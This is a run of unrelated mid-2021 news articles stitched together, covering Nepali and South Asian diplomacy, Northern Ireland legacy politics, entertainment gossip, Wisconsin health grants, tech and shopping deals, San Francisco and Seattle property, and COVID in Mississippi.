Rt. Hon. Prime Minister Sher Bahadur Deuba receives H.E.@AmbVMKwatra, Ambassador of India to Nepal, at his Residence in Budhanilakantha.The Rt. Hon. PM thanked the Amb for the congratulations and best wishes and recalled the age-old friendly relations between the two countries. pic.twitter.com/uNMGVrz5Ga  MOFA of Nepal  (@MofaNepal) July 14, 2021

Meanwhile, US Ambassador to Nepal, Randy Berry, also congratulated Deuba for his appointment as the new prime minister.

"The US mission looks forward to working with him to advance our nearly 75-years of friendship at all levels, from govt to all Nepalis," he tweeted on Tuesday evening, sharing a photograph of his meeting with the prime minister.

Congratulations and best wishes to Hon. Sher Bahadur Deuba for his appointment as the new Prime Minister of Nepal! The U.S. mission looks forward to working with him to advance our nearly 75-years of friendship at all levels, from govt to all Nepalis. pic.twitter.com/FmTdXRgFOS  Ambassador Randy Berry (@USAmbNepal) July 13, 2021

Deuba has previously served as Nepal's Prime Minister four times from June 2017-February 2018, June 2004-February 2005, July 2001-October 2002 and September 1995-March 1997.

At the recommendation of Oli, President Bidya Bhandari dissolved the lower house for the second time in five months on May 22 and announced snap elections on November 12 and November 19. As many as 30 petitions were filed at the Supreme Court against the move.

Deubas appointment ended Olis three-and-a-half-year-long and eventful tenure as prime minister.

Nepal plunged into a political crisis on December 20 last year after President Bhandari dissolved the House and announced fresh elections on April 30 and May 10 at the recommendation of Prime Minister Oli, amidst a tussle for power within the ruling Nepal Communist Party (NCP).

In February, the apex court reinstated the dissolved House of Representatives, in a setback to Prime Minister Oli who was preparing for snap polls.

Oli repeatedly defended his move to dissolve the House of Representatives, saying some leaders of his party were attempting to form a "parallel government"

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With the India Out campaign once again gaining momentum in the Maldives, Prime Minister Narendra Modi called up the island nations President Ibrahim Mohamed Solih on Wednesday.

The Prime Minister conveyed to the President of Maldives that the Indian Ocean archipelago was a central pillar in Indias Neighbourhood First policy and its maritime vision of Security and Growth for All in the Region (SAGAR).

Maldives is one of the South Asian nations where China is trying to elbow out India and expand its footprints.

New Delhi suspects China and its iron brother Pakistan are using radical elements and the opposition parties in the Maldives to run the India Out campaign.

Read more: PM Modi reviews development projects with Maldives President

The phone call between Modi and Solih took place just days after the marine commandos of India and Maldives had the fourth edition of Ekatah  a joint drill on special operations and combat diving.

Modi and Solih on Wednesday reviewed the progress of the development projects being funded by India in the Maldives. They expressed satisfaction at the rapid pace of implementation of the projects despite the constraints caused by the Covid-19 pandemic, according to a press release the Ministry of External Affairs (MEA) issued in New Delhi.

The High Commission of India in Male on July 1 last wrote to the Ministry of Foreign Affairs of the Government of Maldives, conveying concerns over the India Out campaign launched by a section of social media users of the island nation.

India cited the 1961 Vienna Convention on Diplomatic Relations and requested the Maldivian Government to ensure enhanced protection for its High Commission as well as its officials posted in the capital of the island nation.

New Delhi nudged the Solih Government to act against people posting comments on social media, attacking the dignity of the High Commissioner of India and its diplomats and other officials in Male.

The India Out campaign was launched in the Indian Ocean nation last year by the Progressive Congress  a coalition of the opposition parties led by the Progressive Party of Maldives (PPP)  to protest against the India First policy pursued by the ruling Maldivian Democratic Party (MDP).

The erstwhile PPM regime led by Abdulla Yameen had put Maldives into a debt trap by awarding the state-owned companies of China contracts to build several infrastructure projects  mostly on unsustainable loan terms and ignoring the security interests of India. Though Beijings influence over Abdullah Yameen regime had resulted in strains in New Delhis relations with Male, it saw a reset after Solih and former Maldivian President Mohamed Nasheed led the MDP to victory in the November 2018 elections.

The India Out campaign gained momentum in Maldives after New Delhi on February 21 last signed an agreement with the Solih Government to develop, support and maintain a harbour at Uthuru Thila Falhu naval base in the island nation. Though the new harbour is being built officially for the use of Maldives National Defence Force Coast Guard, it is likely to turn into a strategic asset for India and give it an edge over China, which has been trying to spread its tentacles in the Indian Ocean region.

The India Out campaign also criticized the Solih Governments decision to keep the two Dhruv Advanced Light Helicopters New Delhi gifted to Male in 2010 and 2015, although the erstwhile PPM regime was keen to return both the choppers.
The Southwest Indian Ocean region comprises Madagascar, Mozambique, Comoros, Mauritius, Seychelles and French-controlled island territories, such as Reunion. It is in the news for the food crisis that has gripped Madagascar and Mozambique.

Mozambique is located on the mainland African continent. The rest, including Madagascar, are islands. Known as 'Vanilla Islands' as they export vanilla, these islands are popular tourist destinations. The Mozambique channel links these islands with the African continent and is a crucial maritime choke point. The Southwest Indian Ocean lies at the crossroads of India, Africa and the Middle East. Therefore, any country with a foothold in this part of the world is likely to obtain leverage to shape the strategic trajectory of the Western Indian Ocean.

Food crises

Mozambique and Madagascar are geopolitically important countries with significant resource potential. Both currently face an acute shortage of food. Unfortunately, the international community is not giving the crisis of hunger adequate attention.

Mozambique faces a food crisis due to the insurgency, whereas Madagascar is in trouble because of a climate change-triggered drought. Nearly two million people find themselves in a desperate situation.

Mozambique has faced an Islamist insurgency in its northern region of Cabo Delgado since 2017. The Mozambican military forces have not been able to stop the insurgents from taking over the vital town of Palma and the area around it. Thousands of people have fled from the region, putting pressure on the neighbouring areas where these refugees survive in difficult living conditions.

The World Food Program (WFP) has provided help to these people, yet the magnitude of the crisis is such that even the WFP is struggling to deliver sufficient assistance. It has warned that it might have to suspend relief operations unless the international community raises $121 million. If relief work were to stop, close to 700,000 people will face a food shortage.

In Madagascar, a severe drought has engulfed the country's southern parts, and as many as 1.14 million people are staring at food insecurity. It is one of the worst droughts that the large island state has witnessed in the last four decades. According to the United Nations, 14,000 people currently live "in catastrophic conditions." Thousands have left their homes in search of food, and the rest are barely surviving. A UN official has said people "have been living on raw red cactus fruits, wild leaves and locusts for months now."

The southern region of Madagascar lacks good roads and other connectivity infrastructure, which has made reaching the remotest communities a challenge. A WFP estimate suggests that $78.6 million are needed to provide life-saving food for the next lean season. It means that the WFP needs about $ 200 million to continue its relief operations in these two countries. Else, close to two million people will be left to fend for themselves in challenging conditions.

India's role

India, which has positioned itself as the preferred security partner for the Indian Ocean states, could play a role here. The Indian Navy delivered food assistance to the Horn of Africa in October-November 2020. Besides, India consistently sent aid to Madagascar in the last three years when Cyclone Idai, Cyclone Ava and a plague outbreak ravaged the island nation. Southern Madagascar faced a severe drought as well. India's assistance helped mitigate the effects of these crises. In the latest instance, India can deliver large-scale food assistance to Madagascar.

India's domestic food production has scaled new heights every year and has a food surplus. In 2019-20, India produced 297.5 million tonnes (MT) of food. It is projected to increase to 303.34 MT in 2020-21. Reserve Bank of India Governor Shaktikanta Das said last year: "India has now reached a stage in which surplus management has become a major challenge... shifting the terms of trade in favour of agriculture is the key to sustaining this dynamic change and generating positive supply responses in agriculture."

India could perhaps deploy its domestic food surplus for advancing its foreign policy objectives in the Western Indian Ocean region, where countries routinely face either man-made or nature-induced food crises. The Indian Navy, a regular in projecting India's growing capabilities in the region, could deliver food assistance.

It would help India's cause to underscore its role as a 'net security provider' in the region when China is expanding its influence there through infrastructure investments, economic and political engagements. India's timely food assistance would help these two countries and thousands of people in need and project its growing influence in the region. In the process, offsetting China's influence would serve India's interests.

(Sankalp Gurjar is a Research Fellow with the Indian Council of World Affairs, New Delhi. Views are personal.)
Pennsylvania Attorney General Josh Shapiro speaks during the press conference at the Council on Chemical Abuse (COCA) RISE Center in Reading, PA Tuesday morning April 13, 2021 where Pennsylvania Attorney General Josh Shapiro visited to announce the expansion of the Law Enforcement Treatment Initiative (LETI) in Berks County. The LETI program is a collaborative law enforcement program that allows Pennsylvanians seeking treatment for addiction to use their local law enforcement, including sheriffs, probation officers, and parole officers as a resource to contact participating treatment partners without the threat of arrest.
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People watch a free outdoor event organized by The Broadway League during Juneteenth celebrations at Times Square on Saturday, June 19, in New York. Parades, picnics and lessons in history marked Juneteenth celebrations in the U.S., a day that marks the arrival of news to enslaved Black people in a Texas town that the Confederacy had surrendered in 1865 and they were free.
Local families were left gutted today after the UK Government announced plans to end all Troubles related prosecutions in Northern Ireland.

Many Derry families, both Protestant and Catholic, whose loved ones were killed throughout that period have criticised the proposals, alongside all political parties in NI.

Danny Tolands father John was killed by the UFF while working in the Happy Landing Bar in Eglinton in November, 1976.

Speaking to the Derry News, he said his family was left devastated by the announcement.

A civil case had been mounted through the courts which they fear will now come to an end.

A document published today by Secretary of State Brandon Lewis titled 'Addressing the Legacy of Northern Ireland's Past' does indicate that, as well as prosecutions, 'all current and future' inquests and civil cases will end.

Mr Toland said: I rang my mother this morning and were just completely gutted that they are planning to have an amnesty for everybody.

A killing is a killing no matter who is involved in it, if new evidence was to be presented then cases should be looked at again.

People on all sides will be affected by this.

I just dont agree with it at all, I cant get my head round it.

"My mother is 80 years of age and she was hoping for justice but she will possibly not see it now her lifetime, she's absolutely devastated this morning."

The Wave Trauma Centre, which has an office in Derry, is the largest cross community victims and survivors support group in Northern Ireland.

They wrote to the British Prime Minister saying: If anyone in Downing Street or the Ministry of Defence or the Northern Ireland Office seriously thinks that an amnesty of this nature can form the foundation upon which reconciliation could be built then it shows how little they understand the nature of the pain and trauma which continues to be suffered by victims and survivors and their families.

The majority of victims and survivors are only too aware that the chances of securing a conviction for crimes that are decades old are beyond remote.

But to deny them even that possibility by perverting the criminal justice system cannot be right in a country that prides itself on adherence to the rule of law.

Addressing the House of Commons today, Brandon Lewis said the process of dealing with the Troubles is not working and the focus on criminal investigations is unlikely to deliver justice but continues to divide communities.

Over 3,700 people were killed in the conflict and more than 47,000 injured.

The package announced by Mr Lewis includes a new independent body that would focus on the recovery of information relating to Troubles-related deaths and a major 'oral history' initiative.

As part of his proposals, Mr Lewis said a statute of limitations will apply equally to all Troubles related incidents.

We know that the prospect of an end to criminal prosecutions will be difficult for some to accept and this is not a position we take lightly," he told the House of Commons.

But we have come to the view that this is the best and only way to facilitate an effective information retrieval and provision process and the best way to help Northern Ireland move further along the road to reconciliation.

It is a painful recognition of the very reality of where we are.

He acknowledged it will be extremely difficult for some families to accept.

And said that as part of this, the British Government will deliver on its commitments to veterans who served in NI, many of whom remain fearful of being prosecuted, even though the vast majority acted in accordance with the law.

Shadow Secretary of State for NI, Louise Haigh, said that if reconciliation is the goal, then why is Mr Lewis and the British Government taking a sledgehammer to promises made in the past.

Ministers have decided, she said, that the rule of law no longer applies.

Foyle MP Colum Eastwood spoke of the death of Derry man Patsy Gillespie who was chained to the drivers seat of a van and ordered to drive to the Coshquin checkpoint on the Derry-Donegal border.

The IRA then remotely detonated that bomb killing Patsy and five soldiers, he added.

He asked if Mr Lewis would visit Mr Gillespies widow, Kathleen, and why he wants to protect his killers from prosecution and investigation.

The SoS accused the SDLP leader of using emotive language for soundbites on social media and said using someones harrowing experience and loss in that way says much about him.

He added that hed be happy to meet with any victim to explain what is achievable and why NI needs to move forward in a positive way.

Along with other conservative MPs, Prime Minister Boris Johnson repeated past comments about vexatious prosecutions of elderly soldiers.
House of Commons Speaker, Lindsay Hoyle, has today said that Foyle MP Colum Eastwood 'broke no rules' when naming Soldier F under parliamentary privilege.

Making a short statement today, Mr Hoyle encouraged MPs to exercise caution when referring to anyone involved in legal proceedings and said it is a grave step to use privilege to breach a court order.

When members dont comply with a court order they must demonstrate that it was done so in the public interest. Mr Hoyle said it is for others to decide if it was done in the public interest.

The Speaker added that Mr Eastwood broke no rules of the order because the statement was made while the Armed Forces Bill was being discussed and the sub judice rule does not apply when legislation is in question.

A number of family members of those killed on Bloody Sunday welcomed the naming of soldier F at Westminster yesterday.

However, unionist politicians described as reckless the intervention by Mr Eastwood.

Under the terms of an anonymity court, the identity of Soldier F, who is accused of murdering two people on Bloody Sunday in Derry and the attempted murder of a several other people on that day, is not allowed to be made public.

But, Mr Eastwood named him during a debate on the Armed Forces Bill in the House of Commons.

He did so under parliamentary privilege which is a legal immunity enjoyed by MPs.

It means that they are granted protection against civil or criminal liability for statements made in the course of their legislative duties.

In the days leading up to his comments, posters were displayed around Derry naming soldier F.

It followed an announcement from the PPS that charges would be dropped against two British soldiers accused of murder and attempted murder in 1972.

The PSNI subsequently removed the flyers but soldier Fs name was also shared widely on social media.

On Tuesday, the Foyle MP said: Almost 50 years ago, 14 unarmed civil rights marchers were murdered on the streets of Derry by the Parachute Regiment.

Five of those victims were shot by (named) otherwise known as soldier F.

For fifty years hes been granted anonymity, now the government want to give him an amnesty.

He added that none of the perpetrators involved in murder during our Troubles should be granted an amnesty.

Reacting to those comments, John Kelly, whose 17-year-old brother, Michael, was shot dead on Bloody Sunday said: Delighted that Colum Eastwood revealed soldier F's identity in parliament today.

Thumbs up to Colum for relieving the frustration of the Families who have known F's name and face for years.

Soon it will be time to name the other shooters. The truth will always show its face.

However, local councillor and former British soldier, UUP Alderman Ryan McCready accused the Foyle MLA of putting soldier Fs life at risk.

He said: As the Veterans Champion for Londonderry and Strabane, I am deeply disappointed in Mr Eastwoods lack of judgement and due regard for both the judicial proceedings and indeed the increased risk to life of Soldier F.

This was totally unnecessary.

Mr Eastwood has placed someones life at risk for what I can only describe as his own self-promotion to appeal to republicans, and lack of respect for the judicial system.

He really has let himself down in his capacity as the MP for Foyle.

Everyone ought to be given a fair trial without prejudice and interference. The rule of law and the judicial system should apply equally to all and so should a pathway for justice.
Draperstown could make a strong claim for being the most politically represented village in Ireland.

Local woman Emma Sheerin is a current MLA, while the village is also home to two elected members of Mid Ulster District Council; Cllrs Cora Corry and Catherine Elattar.

Their representation though is not confined to South Derry, or even the wider Mid Ulster area. On the banks of the Lagan, another local woman is making her political mark.

Aine campaigned during the 'Repeal' campaign in the South.

Green Party councillor Aine Groogan was elected to Belfast City Council to serve the Botanic DEA in May 2019, joining Draperstown's growing political roster.

Until you said that, I hadn't really thought about it, but the day I got elected, Cora [Corry] got elected as well, so there is quite a diverse range there, she told the County Derry Post.

It's good to see, I'm not sure how we managed to raise so many politicians. It means people are active and caring about their community and want to make it better.

The 'Screen woman has recently been appointed Chair of the Council's Strategic Policy and Resources Committee and took a less traditional route into politics here.

I'd always been political, in a small 'p' sense, I was always very aware and had been involved in campaigns, but I'd never found my political home, she said.

Until I came across Clare Bailey. She was a different voice for politics here and that appealed to me. I'd been away for a while; in Dublin and in Latvia as well.

When I came back to Belfast, I was hoping to get involved, and then she got elected, which was an incredible moment for me to see.

As a young person who'd grown up in Northern Ireland, to see someone like Clare elected for the Green Party was pretty groundbreaking.

I ended up going to work for her, in her constituency office, and it grew from there. I joined the party on the same day, and I became more involved.

I've been living in south Belfast now maybe six, seven years, so it's been my home for a while now.

Clare Bailey MLA giving Aine's election to Belfast City Council the thumbs up.

Though not traditionally strong across rural areas in Northern Ireland, the Green Party's progressive policies appealed to Aine, who was keen to look through the lens to the future rather than the past.

I always wanted to see a better future, but I just couldn't see how the traditional parties were going to achieve that, she said.

They weren't talking about the things that mattered to me, and then the Greens came along and they were pro-LGBT rights, pro-women's rights, and talking about climate change long before anyone else.

The Greens were a forward-thinking party, and that's what Northern Ireland needed. I'd been out of Northern Ireland at that point for five, six years, so for me coming back, they were the future.

Those social issues have been at the heart of political debate here in recent years, with the amendment to the law on abortion prompting visceral reactions on both sides of the debate.

A bill to create 'safe access zones' outside healthcare clinics has been brought to the Assembly by the Green Party's Clare Bailey.

Celebrating being elected in May 2019.

The bill would see an end to anti-abortion protestors gathering outside clinics, a practice that while initially most prevalent in Belfast, has recently become more common in rural areas.

Standing outside our hospitals is not appropriate, said Cllr Groogan.

Regardless of your view of the legal change here, a woman going into a healthcare centre doesn't want or need to be harassed.

Some of those women may have had miscarriages, and be traumatised by some of the images and tactics that are being used.

It's not the appropriate place. If you want to protest against something  grand  go and do it at Stormont to those who can actually affect the change.

I completely understand people have different viewpoints and the right to express them and lobby for change, but the place to do that is not outside our hospitals.

The court cases have gone through, we know what the human rights implications are. There is a duty on the part of the Department to commission those services.

It breaks my heart to see how many people have been affected and are still being affected. It's not some hypothetical, moral question, they're playing with people's lives.

With mum Rita at the count centre.

The Green Party is stronger in the Republic of Ireland, where they polled 7.1% of first preference votes in the 2020 General Election, as opposed to just 2.3% in the 2017 Assembly Election in the North.

Their traditional voting base is centred around the metropolitan areas of Belfast and Lisburn, but Aine says the winds of change are blowing westwards.

At the last council election, we got eight councillors across the line, which was huge for us and we were obviously starting to branch out a little bit, she said.

We have a Mid Ulster Greens group, which is fantastic, and we've one set up in Causeway Coast and Glens as well.

West Tyrone Greens and Fermanagh and South Tyrone Greens have both been going for quite some time, so we are starting to see a bit of growth in these areas.

That's important for me, being from South Derry; I want to see the Greens expanding because their politics works for everybody.

They're still new to people and that's why the growth is a little bit slower, but we are starting to see that changing in recent years.

Situated in Aine's council DEA is the Holyland area of Belfast. The area has been a popular destination for County Derry students for decades, but has been blighted by anti-social behaviour.

The Botanic councillor says although the behaviour of students has rightly come under scrutiny, greater focus also needs to be on landlords in the area, who continue to benefit from the chaos.

The Holyland is not the party-land people think it is. It's a diverse area, there is a primary school, old people's homes and it's not just all young people, she said.

It's got a bit more sinister in recent years; there are a lot of different elements in there. It has the highest crime rate in Northern Ireland.

It's not a particularly safe place to live and the quality of housing isn't particularly great. It's crying out for regeneration and landlords should be held accountable for what they've created.

I've had students contacting me to tell me they've moved into a house and it doesn't have a toilet, that sums up the madness of it all.

The landlords are profiteering off the situation and that needs to be controlled. The students change every year, the one constant is the landlords.

Aine with fellow Green Party councillors Malachai O'Hara, Brian Smyth and Anthony Flynn.

There is sometimes a perception of rural areas as being more conservative than their urban counterparts, but Cllr Groogan feels it is a perception without foundation in reality.

Belfast is maybe a bit ahead of the curve on that, but I don't think people are necessarily any different, she said.

When it comes to Northern Ireland, the people are often further ahead than their politicians, that's always been the case here.

You're seeing the 'other' vote increasing across the board  look at how Alliance did. They've picked up a couple of seats west of the Bann, which is great to see.

I'm proud to see that 'other' vote coming through, because I know it's there. I know people are not more conservative there, or anything like that.

It's about having credible people there to vote for and starting to see the other options out there, which I think is starting to happen.
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Janhvi Kapoor to take Hindi remake of Helen on floors in August; title may change to Mili

Actress Janhvi Kapoor was last seen on the big screen in Hardik Mehtas horror comedy Roohi, alongside Rajkummar Rao and Varun Sharma. She left audiences in awe with her portrayal of a girl possessed by a demonic spirit. The film marked the second installment in Dinesh Vijan's Horror-Comedy Universe after Stree. Well, the beauty is now ready to explore another new genre with the Hindi remake of Malayalam film Helen. The survival thriller will be helmed by Mathukutty Xavier, who directed the original.

View this post on Instagram A post shared by Janhvi Kapoor (@janhvikapoor)

The film was meant to go on floors in June this year, but things could not go according to plan due to the second wave of coronavirus and the subsequent lockdown. Well according to the latest report shared by ETimes, the shoot of Helen remake will now begin in August. A source was quoted saying, The film needs to be shot at real locations but we will begin with an indoor shoot first. The production team is planning to start the shoot in August and the crew is currently in preparation phase.

According to buzz, the Hindi remake of Helen might be titled Mili, which will also be the name of Janhvis character in the film. It will be shot in India due to travel restrictions. Janhvi will portray the role of a working class girl who ends up locked inside a freezer at a supermarket, while Manoj Pahwa will play her on-screen father.
Khatron Ke Khiladi 11 Promo: Varun Sood yells at Nikki Tamboli for his brother Vishal Aditya Singh; watch

When two celebrities participate together in a reality show, they tend to bond with one another. While things dont work out for some, many others end up becoming the best of friends. Thats exactly what happened with youth icon Varun Sood and actor Vishal Aditya Singh during Khatron Ke Khiladi 11. By the looks of their photographs together on social media, the two handsome hunks grew fond of each other while shooting for the stunt reality show in Cape Town, South Africa.

View this post on Instagram A post shared by Varun Sood (@varunsood12)

Well, according to the latest promo shared by the channel on social media, their friendship turned into brotherhood over time. In the clip, Varun and Vishal can be seen hanging out together, having a gala time in between shoot. At the end of the teaser, Varun even gets into an argument with competitor Nikki Tamboli and yells at her for apparently spoiling Vishals game. Varun can be heard saying, He might go home today because of you. He then gives Vishal a hug after what looks like an elimination round.

View this post on Instagram A post shared by ColorsTV (@colorstv)

As reported earlier, Vishal was one of the first contestants to be eliminated. However, he returned as a wildcard entry and emerged as one of the top 5 participants of the 11th season of the stunt reality show. It will definitely be fun to watch Varun and Vishals friendship grow when KKK11 premieres on television this week.
In a step toward addressing an identified need for Wisconsins behavioral health system, the Department of Health Services (DHS) has awarded over $1 million to nine organizations for projects designed to improve the cultural competence of service providers.

We are committed to supporting strategies that will ensure Wisconsins behavioral health system is welcoming and responsive to every resident of our state, said DHS Secretary-designee Karen Timberlake. It is essential that we understand the experiences of people across Wisconsins many diverse communities and adapt services to meet culturally unique needs. These grants will move us closer to fulfilling our vision of everyone living their best life.

Improving service provider capacity to work with diverse populations was a key finding of a DHS-commissioned study published last year about gaps in Wisconsins behavioral health system. The study and resulting report from the UW Population Health Institute was based in part on interviews, surveys, and focus groups with people receiving services for mental health and substance use challenges. A common theme in the responses was a need for providers familiar with the values, traditions, and languages of different cultures.

DHS has awarded grants to the following organizations:

Burmese Rohingya Community of Wisconsin, Milwaukee ($75,000). This. project will provide education on the needs and effective outreach techniques to Rohingya refugees and first generation Rohingya Americans.

($75,000). This. project will provide education on the needs and effective outreach techniques to Rohingya refugees and first generation Rohingya Americans. Centro Hispano, Madison ($46,000). This project will provide an opportunity to complete a training program and earn a certificate focused on the needs of Latinx communities.

($46,000). This project will provide an opportunity to complete a training program and earn a certificate focused on the needs of Latinx communities. Diverse and Resilient, Milwaukee ($55,802). This project will provide training and advising on how to work with the LGBTQ+ community.

($55,802). This project will provide training and advising on how to work with the LGBTQ+ community. Hmong American Friendship Association, Milwaukee ($74,888). This project will include a survey of the Hmong community to better understand the barriers the Hmong community faces accessing services, with the survey results informing strategies that can be used to eliminate the barriers.

($74,888). This project will include a survey of the Hmong community to better understand the barriers the Hmong community faces accessing services, with the survey results informing strategies that can be used to eliminate the barriers. Hmong Institute, Madison ($75,000). This project will provide trainings on the National Standards for Culturally and Linguistically Appropriate Services in Health and Health Care.

($75,000). This project will provide trainings on the National Standards for Culturally and Linguistically Appropriate Services in Health and Health Care. Hmong Wisconsin Chamber of Commerce, Milwaukee ($93,455). This project will include a training conference focused on the needs of diverse populations.

($93,455). This project will include a training conference focused on the needs of diverse populations. Milwaukee Muslim Womens Coalition, Milwaukee ($75,000). This project will include a training conference focused on the needs of the Muslim community.

($75,000). This project will include a training conference focused on the needs of the Muslim community. St. Charles Youth and Family Services, Milwaukee ($75,010). This project will develop and implement a program of equity ambassadors for youth and young adults.

($75,010). This project will develop and implement a program of equity ambassadors for youth and young adults. Wisconsin United Coalition of Mutual Assistance Associations, Appleton ($433,262). This project will provide education and support to make services more accessible to the Hmong community.

All of the projects must be completed by the end of September.

A request for applications for this funding was issued in March. All organizations that submitted applications received funding.

These grants are funded by Wisconsins share of the federal Community Mental Health Services Block Grant.
Google Meet free run for unlimited group calls has officially ended as employees return to their offices. According to an official update, Google Meet will not support group meetings for more than 60 minutes. When the pandemic started in full force in April 2020, Google lifted the 1-hour cap on group meetings to help employees working from around worldwide. Google Meet alternative apps like Zoom also enabled new functionalities on its platform to serve its users better. Unlike Google, Zoom continues to keep the new features unlocked, as of July 2021.

Earlier Google had planned to remove the free unlimited group calling feature on 30 September 2020. Later, it moved the date to 31 March 2021 but further extended it to 30 June 2021.

Google Meet free trial ends - how to get unlimited group calling feature

With a free Google account, you can launch a meeting with 100 participants for one hour. However, you can still chat one-on-one using Google Meet for 24 hours. To get the unlimited group calling feature back users need to purchase a Google Workspace subscription.

In addition to the free unlimited group calling feature the subscription also offers custom email services, cloud storage, and after-sales support. You cannot purchase a premium subscription individually for Google Meet as its only available in the Google Workspace bundle.

Best free Google Meet alternative for unlimited group calls

Similar to Google Microsoft Teams also extended its group calling feature from 60 minutes to 24 hours during the pandemic. As of writing this article, you can still conduct meetings with up to 300 people for 24 hours on Microsoft Teams for free. Therefore if you dont want to pay for a Google Workspace subscription every month, switching to Microsoft Teams is a good alternative, at least for now.
Amazon India is hosting a Back to College sale where it is offering upto 50% discount on laptops, headphones, speakers, accessories and more. Amazon is also hosting the Apple Days sale where it is offering upto 11% discounts on the latest iPhone 12 and more until July 17. Later this month, Amazon is also hosting Prime Day 2021, an annual two-day shopping event that brings huge discounts and more exciting deals on popular products.

Amazons Back to College sale brings a host of new offers and deals across product categories like laptops, tablets, PCs, headsets and speakers. The Back to College sale is currently live on amazon.in and will go on until July 31. Moreover, Amazon is also offering no-cost EMI options and exchange offers on select products. Furthermore, Amazon is bundling online courses with laptops from its partners including Vedantu, Toppr and more.

Amazon Back to College sale: Deals and offers on laptops, PCs and more

HP Pavilion 14 (2021)

The HP Pavilion 14-dv0054TU (2021) is priced at Rs 66,990 and features a 14-inch Full HD display with anti-glare. It is powered by the 11th Gen Intel Core i5-1135G7 which is paired with 16GB RAM and 512GB SSD storage and runs on Windows 10 Home edition with Office 2019. The Pavilion 14 (2021) also supports fast charging and has a fingerprint reader for faster access.

Check out the HP Pavilion 14 (2021) here

Lenovo IdeaPad Slim 5

The Lenovo IdeaPad Slim 5 features a 15.6-inch Full HD display and is powered by the 11th Gen Intel Core i5-1135G7 processor which is paired with 16GB RAM and 512GB SSD storage. The speakers on the IdeaPad Slim 5 are tuned by Dolby Audio and it is priced at Rs 66,990.

Check out the Lenovo IdeaPad Slim 5 here

Dell 14 (2021)

The Dell 14 (2021) Thin and Light laptop feature a 14-inch Full HD anti-glare display. It is powered by a 10th Gen Core i3-1005G1 processor paired with 4GB RAM and a hybrid storage option with a 1TB HDD and 256GB SSD. The Dell 14 (2021) is priced at Rs 39,190 during Amazon Back to College Days sale.

Check out the Dell 14 (2021) here

HP 14 (2021)

The HP 14 (2021) is powered by the 11th Gen Core i3-1115G4 processor and is paired with 8GB RAM and 256GB SSD storage. It features a 14-inch Full HD display and comes pre-loaded with Windows 10 Home and Microsoft Office Home and Student 2019. The laptop also supports Amazon Alexa and is priced at Rs 41,990. Additionally, buyers can get an additional discount of Rs 451 on this laptop.

Check out the HP 14 (2021) here

Logitech H111 Wired headset

Logitech H111 Wired headset is made for online classes and features an adjustable headband, noise-cancelling microphone and has a 3.5 mm audio jack to connect with Windows, Mac, iOS and Android devices. The Logitech H111 wired headset is priced at Rs 791.

Check out the Logitech H111 headset here

You can also visit the Back to College sale page on amazon.in here
ACEC honors MKA's work on Chase Center

Photo by Michael Dickter/courtesy of MKA [enlarge] Chase Center is a 1.74-million-square-foot mixed-used development in San Francisco.





The American Council of Engineering Companies recently gave Chase Center in San Francisco a grand award in its 2021 Engineering Excellence Awards, which honored more than 170 of the industry's most notable achievements in innovation, complexity, value and design.

Seattle-based Magnusson Klemencic Associates was the structural engineer on Chase Center, a 1.74-million-square-foot mixed-used development that the firm said showcases unprecedented engineering solutions, innovations and multi-dimensional community engagement for a variety of activities and entertainment experiences.

Chase Center opened in September 2019. The project covers eight city blocks, and includes an 18,000-seat NBA arena, the Golden State Warriors team headquarters and practice facility, a jewel-box gatehouse used for live broadcasting, two office towers, 29 retail locations, plazas, a below-grade parking garage and the foundations for a future hotel tower.

In a press release, MKA said the LEED Gold development successfully integrated all these building elements on a common podium, overcoming challenges presented by extreme soil, groundwater and earthquake conditions. The site, located adjacent to San Francisco Bay and near the San Andreas and Hayward Faults, has layers of 1906-earthquake fill, Bay mud, and weak soil all ranging from 40 foot to 130 foot deep before reaching bedrock, and a water table just five feet below grade.

To conquer these impediments, MKA said it created a boat structure below grade, designed a graduated-pile foundation system, built a cocoon to protect utilities in liquefiable soils and used nine high-performance concrete cores to provide earthquake resistance.

Additional design innovations included a super-truss, long-span roof system that created a 90-foot-by-60-foot hole at the center of the span to garage the largest scoreboard in the NBA, allowing for an adaptable venue for a variety of events and audience sizes. Chase Center's loading docks, practice facility and team headquarters were also placed unconventionally below grade to create a dynamic, 360-degree front door. This allowed for the entire development's above-grade elements to be completely public-facing while relocating all the non-public elements underground, resulting in total neighborhood engagement, and helping to activate the growing Mission Bay neighborhood by stimulating the city's economy and delivering a new landmark for the Bay Area, MKA said.

The project team also included the Golden State Warriors (owner); CAA Icon, Machete Group and PC Sports (managers); Kendall/Heaton Associates (architect of record); Manica Architecture (arena design architect); Gensler (arena interiors architect) and Mortenson/Clark (general contractor).




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Rendering by Carrier Johnson + Culture [enlarge] This perspective looks northeast at the proposed building, which would replace parking lots and old retail.





On a corner site it has yet to acquire, Holland Partner Group is planning a seven-story, 238-unit apartment building at 2318 N.W. Market St. The Ballard property has four owners, with brokers unknown. If assembled, it would total about 51,000 square feet. It's on the corner of 24th Avenue Northwest.





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RENTON  A medical office building at 1412 S.W. 43rd St. has sold for over $32.3 million, according to King County records. The seller was Oakesdale I LLC, which acquired the land in 2002 for about $2.2 million, then developed it.

The buyer was CPI/AHP Renton MOB Owner LLC, which is associated with Anchor Health Properties of Virginia.





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Local

Tate Reeves, Thomas Dobbs: COVID delta variant poses increasing danger in Mississippi

Caleb Bedillion / Courtesy Mississippi State Department of Health Visiting Tupelo on Tuesday, State Health Officer Dr. Thomas Dobbs, left, honors soldiers of the Mississippi National Guard for their role in mass vaccination efforts against COVID-19. Dobbs joined Gov. Tate Reeves in a swing through the state recognizing National Guard units. Caleb Bedillion / Courtesy Mississippi State Department of Health Visiting Tupelo on Tuesday, State Health Officer Dr. Thomas Dobbs honors soldiers of the Mississippi National Guard for their role in mass vaccination efforts against COVID-19. Dobbs joined Gov. Tate Reeves in a swing through the state commemorating the National Guard.

TUPELO  With the COVID-19 delta variant fueling what State Health Officer Dr. Thomas Dobbs calls a surge of cases in kids with more tragedy on the way, Mississippis top doctor and Gov. Tate Reeves are urging unvaccinated Mississippians to seek out the shots.

It is clearly a safe vaccine, and I encourage Mississippians to get it, Reeves said during a visit to Tupelo on Tuesday.

Reeves and Dobbs visited Tupelo as part of a statewide swing honoring the Mississippi National Guard for its role in the management of mass vaccination sites across the state.

While here, they emphasized the impact of the more transmissible delta variant of COVID-19. In addition to spreading easier, medical experts and researchers also generally agree that the delta variant can produce more severe infections.

Given the Magnolia States low vaccination rate  only about 33% of Mississippis population is fully vaccinated  the delta variant has found more room to spread, and children are now a greater arena of infection.

According to information released Tuesday morning by the Mississippi State Department of Health, seven children across the state are receiving intensive case because of COVID-19 infections, with two of those children on ventilators.

